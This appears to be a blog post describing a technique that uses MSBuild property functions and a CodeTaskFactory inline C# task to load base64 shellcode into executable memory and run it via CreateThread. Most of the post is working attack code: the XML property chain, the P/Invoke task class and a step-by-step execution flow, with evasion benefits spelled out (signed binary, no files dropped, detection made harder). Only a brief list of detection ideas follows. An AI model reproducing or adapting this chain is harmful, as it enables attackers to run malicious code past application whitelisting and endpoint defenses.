Experimentations with the MSBuild Capabilites in a default environment.
MSBuild, Microsoft's build automation platform, has a powerful feature called "Property Functions" that allows calling .NET Framework methods directly within XML build files. This blog post demonstrates an advanced technique combining memory-mapped files and inline tasks to execute arbitrary code.
This approach leverages three key MSBuild capabilities:
MSBuild property functions can instantiate and manipulate .NET objects. We create a memory-mapped file with Read-Write-Execute permissions:
<CreateMemoryMappedFile>
$([System.IO.MemoryMappedFiles.MemoryMappedFile]::CreateNew(
$(MappedFileName),
272,
$([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)
))
</CreateMemoryMappedFile>This creates a 272-byte shared memory region with executable permissions - a critical requirement for code execution.
Base64-encoded shellcode is decoded and written to the memory-mapped file:
<WriteToMemoryMappedFile>
$([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting(
$(MappedFileName),
$([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)
).CreateViewStream().Write(
$([System.Convert]::FromBase64String($(Shellcode))),
0,
272
))
</WriteToMemoryMappedFile>The memory handle is retrieved and converted to a hexadecimal string:
<GetRWXIntPtrMemoryMappedFile>
$([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting(
$(MappedFileName),
$([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)
).CreateViewStream(
0,
272,
$([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)
).SafeMemoryMappedViewHandle.DangerousGetHandle().ToString("X"))
</GetRWXIntPtrMemoryMappedFile>This one-liner chains multiple method calls to extract the raw memory pointer.
Property functions alone cannot invoke unmanaged functions like CreateThread. MSBuild's CodeTaskFactory allows defining custom tasks with full C# code.
MSBuild inline tasks support two code types, but only one works for Win32 API calls:
Type="Fragment" - Limited to Method Body Code
<Code Type="Fragment" Language="cs">
<![CDATA[
// Code inserted directly into Execute() method
Log.LogMessage("Simple operations only");
ThreadHandle = ShellcodeAddress.ToUpper();
return true;
]]>
</Code>Fragment mode cannot declare:
- P/Invoke methods with
[DllImport]attributes - Custom delegate types
- Class-level fields or helper methods
Type="Class" - Required for P/Invoke
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
public class CreateThreadTask : Task
{
// P/Invoke declarations - ONLY possible with Type="Class"
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
// Custom delegate - ONLY possible with Type="Class"
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr CreateThreadDelegate(
IntPtr lpThreadAttributes,
UIntPtr dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId
);
[Required]
public string ShellcodeAddress { get; set; }
[Output]
public string ThreadHandle { get; set; }
public override bool Execute()
{
// Load kernel32.dll dynamically
IntPtr kernel32 = LoadLibrary("kernel32.dll");
if (kernel32 == IntPtr.Zero)
{
Log.LogError("Failed to load kernel32.dll");
return false;
}
// Resolve CreateThread address
IntPtr createThreadAddr = GetProcAddress(kernel32, "CreateThread");
if (createThreadAddr == IntPtr.Zero)
{
Log.LogError("Failed to get CreateThread address");
return false;
}
// Create managed delegate from function pointer
var createThreadDelegate = (CreateThreadDelegate)Marshal.GetDelegateForFunctionPointer(
createThreadAddr,
typeof(CreateThreadDelegate)
);
// Parse hex string to IntPtr
IntPtr shellcodePtr = new IntPtr(
long.Parse(ShellcodeAddress, System.Globalization.NumberStyles.HexNumber)
);
// Execute CreateThread
uint threadId;
IntPtr hThread = createThreadDelegate(
IntPtr.Zero, // No security attributes
UIntPtr.Zero, // Default stack size
shellcodePtr, // Start address (our shellcode)
IntPtr.Zero, // No parameters
0, // Run immediately
out threadId // Receive thread ID
);
ThreadHandle = hThread.ToString("X");
Log.LogMessage(MessageImportance.High, "Thread Handle: 0x" + ThreadHandle);
Log.LogMessage(MessageImportance.High, "Thread ID: " + threadId.ToString());
return true;
}
}
]]>
</Code>Why Type="Class" is Mandatory Here:
The [DllImport] attribute and custom delegate declarations must exist at class scope, not within a method body. When you attempt to use Fragment mode with P/Invoke, MSBuild generates invalid C# code placing these declarations inside the Execute() method, causing compilation errors like "Invalid token" and "Expected class, delegate, enum, interface, or struct."
For any Win32 API interop or complex marshaling scenarios, you must use Type="Class".
- Environment Setup: Set
MSBUILDENABLEALLPROPERTYFUNCTIONS=1 - Memory Allocation: Create RWX memory-mapped file
- Shellcode Injection: Write base64-decoded shellcode to memory
- Address Resolution: Extract memory pointer as hex string
- Thread Creation: Invoke
CreateThreadvia inline C# task - Execution: Shellcode runs in new thread context
- No Binary Drops: Everything executes in-memory through MSBuild.exe.. Kind of...
- Signed Binary: MSBuild.exe is a legitimate Microsoft-signed executable
- Complex Detection: The technique splits execution across XML properties and inline C# code
- Built-in Functionality: Uses only features shipped with .NET Framework 4.0+
- Monitor MSBuild execution outside build environments
- Restrict
MSBUILDENABLEALLPROPERTYFUNCTIONSenvironment variable, not sure how tbh lol - Implement application whitelisting policies
- Analyze XML files for suspicious property functions and inline tasks
- Detect memory-mapped files with execute permissions
- Watch for
CodeTaskFactoryusage with P/Invoke patterns
This technique showcases how extensible build systems can be repurposed for code execution. Understanding the distinction between Fragment and Class code types is crucial - Win32 API interop requires full class definitions with proper P/Invoke declarations.
The approach demonstrates that legitimate development tools, when combined creatively, can achieve sophisticated code execution without traditional malware artifacts.
Credit: Original research by Casey (@_subTee)
This post demonstrates MSBuild capabilities. Use responsibly and only in authorized environments. Brush your teeth and floss too, also, consider eating less, excercising more, while we're giving advice.